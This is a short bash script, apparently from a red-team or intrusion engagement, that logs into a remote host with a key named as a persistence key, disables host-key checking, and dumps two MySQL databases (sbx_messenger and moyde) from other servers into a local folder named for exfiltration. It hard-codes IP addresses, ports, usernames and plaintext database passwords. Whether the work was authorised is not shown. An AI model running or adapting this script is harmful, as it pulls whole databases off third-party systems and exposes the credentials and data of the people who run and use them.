#!/bin/bash
# Dump remaining MySQL DBs: sbx_messenger, moyde
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_mysql_remaining
mkdir -p "$OUTDIR"

echo "=== sbx_messenger dump ==="
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "mysqldump -h 65.21.77.41 -P 3327 -u sbx_messenger -p't#1SisSBXmessDB' sbx_messenger 2>/dev/null | gzip -1" \
  > "$OUTDIR/sbx_messenger.sql.gz" 2>>"$OUTDIR/errors.log"
[ -s "$OUTDIR/sbx_messenger.sql.gz" ] && echo "[OK] sbx_messenger $(du -sh "$OUTDIR/sbx_messenger.sql.gz" | cut -f1)" || echo "[FAIL] sbx_messenger"

echo "=== moyde dump ==="
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "mysqldump -h 95.216.26.173 -P 3117 -u moydeuser -p'moydepa\$SwrD1' moyde 2>/dev/null | gzip -1" \
  > "$OUTDIR/moyde.sql.gz" 2>>"$OUTDIR/errors.log"
[ -s "$OUTDIR/moyde.sql.gz" ] && echo "[OK] moyde $(du -sh "$OUTDIR/moyde.sql.gz" | cut -f1)" || echo "[FAIL] moyde"

sha256sum "$OUTDIR"/*.sql.gz > "$OUTDIR/MANIFEST.sha256" 2>/dev/null
echo "manifest: $(wc -l < "$OUTDIR/MANIFEST.sha256") files"